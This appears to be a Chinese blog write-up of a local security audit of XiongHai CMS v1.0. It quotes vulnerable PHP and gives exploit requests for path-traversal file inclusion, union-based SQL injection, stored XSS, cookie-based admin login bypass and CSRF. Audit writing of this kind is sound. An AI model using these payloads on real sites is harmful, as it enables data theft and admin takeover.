有空的時候就進行小型CMS的代碼審計,這次審計的對象是熊海CMS v1.0
本地環境安裝好了之后,可以看到提示安裝了鎖文件
說明重裝漏洞應該不會存在了,這時候丟進seay代碼審計系統的代碼也出結果了,挨個看看
<?php //單一入口模式 error_reporting(0); //關閉錯誤顯示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判斷為空或者等於index include('files/'.$action.'.php'); //載入相應文件 ?>
第一個疑似文件包含漏洞,對GET方式傳進的參數r進行了參數過濾,但是存在目錄穿越,黑盒嘗試了一下使用點 反斜杠截斷,無果,存在漏洞,但是只能包含本地php文件
創建一個phppinfo.php文件
本來是包含files文件夾下的php文件,通過目錄穿越我們嘗試包含phpinfo.php
http://127.0.0.1/xhcms_v1.0/?r=../../phpinfo
成功包含
第二個疑似文件包含漏洞也是同樣的利用方式,代碼都是類似的:
<?php //單一入口模式 error_reporting(0); //關閉錯誤顯示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判斷為空或者等於index include('files/'.$action.'.php'); //載入相應文件 ?>
再看一下疑似存在SQL注入的地方
$save=$_POST['save']; $ad1=addslashes($_POST['ad1']); $ad2=addslashes($_POST['ad2']); $ad3=addslashes($_POST['ad3']); if ($save==1){ $query = "UPDATE adword SET ad1='$ad1', ad2='$ad2', ad3='$ad3', date=now()";
這里可以看到對於POST方式輸入的參數使用了addslashes函數進行過濾,所以這里的注入是一個誤報,看下一處疑似注入:
在editcolumn.php文件中,存在如下代碼:
$id=$_GET['id']; $type=$_GET['type']; if ($type==1){ $query = "SELECT * FROM nav WHERE id='$id'";
可以看到對於GET方式輸入的id沒有進行過濾,應該是開發者的遺漏,我們到本地網站上進行測試
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1
輸入單引號之后頁面報錯
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27
我們知道后端的php代碼,就直接使用union select 進行注入
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20order%20by%2010--+
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10--+
字段數為10,回顯位置有2,6,3,4,8
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,database(),3,4,5,user(),7,8,9,10--+
使用payload查詢database()和user()
成功獲取到了數據。
測試了一下后台的頭像文件上傳,上傳正常的圖片好像都不行
一直都是這個頭像,嘗試尋找XSS,CSRF和越權漏洞
if (isset($_GET["callback"])) { if (preg_match("/^[\w_]+$/", $_GET["callback"])) { echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')'; } else { echo json_encode(array( 'state'=> 'callback參數不合法' )); } } else { echo $result; }
這里使用了htmlspecialchars函數進行過濾,$callback參數不存在XSS漏洞,而result變量在前面是固定的幾個選項,不能構造XSS
到聯系的留言列表里面去,可以看到用戶可以在這里留言,應該是我搭建的問題,導致用戶不能提交留言,但是有一個管理員回復,我們到后台界面留言回復,進行XSS攻擊。
使用payload:
<script>alert(1)</script>
<script>alert(/xss/);</script>
再到網站聯系界面,可以看到成功彈窗
同時我們審查元素,可以看到XSS的payload在頁面的元素中,對管理員回復留言並沒有進行限制,導致XSS漏洞的產生
關於越權漏洞,因為只有admin一個用戶,我們嘗試可不可以不輸入密碼進入后台
在后台主頁進行抓包:
可以看到Cookie里面有user=admin,很容易聯想到會不會是user所對應的名字就是它對應的權限,測試之后發現不是,因為就一個用戶,但是測試發現只要存在user,就能夠進入后台,如我們先將cookie刪除:
可以看到會將我們重定向至login界面
將cookie中的user改為一個並不存在的用戶SpringBird,可以看到后台登錄成功。
尋找CSRF漏洞,CSRF全程為跨站請求偽造,即可以劫持其他用戶去進行一些請求。我們嘗試劫持管理員的權限去刪除文章
點擊刪除文章之后抓包
使用burpsuite自帶的CSRF POC生成
在本地創建CSRF.html,訪問之
可以看到出現了按鈕,抓包的時候我們可以看到沒有token驗證,證明很有可能存在CSRF漏洞,這個時候瀏覽器還保存着管理員的身份信息,所以點擊Submit就能夠刪除對應的文章
成功進行CSRF攻擊。
繼續努力吧。
參考鏈接:
http://foreversong.cn/archives/387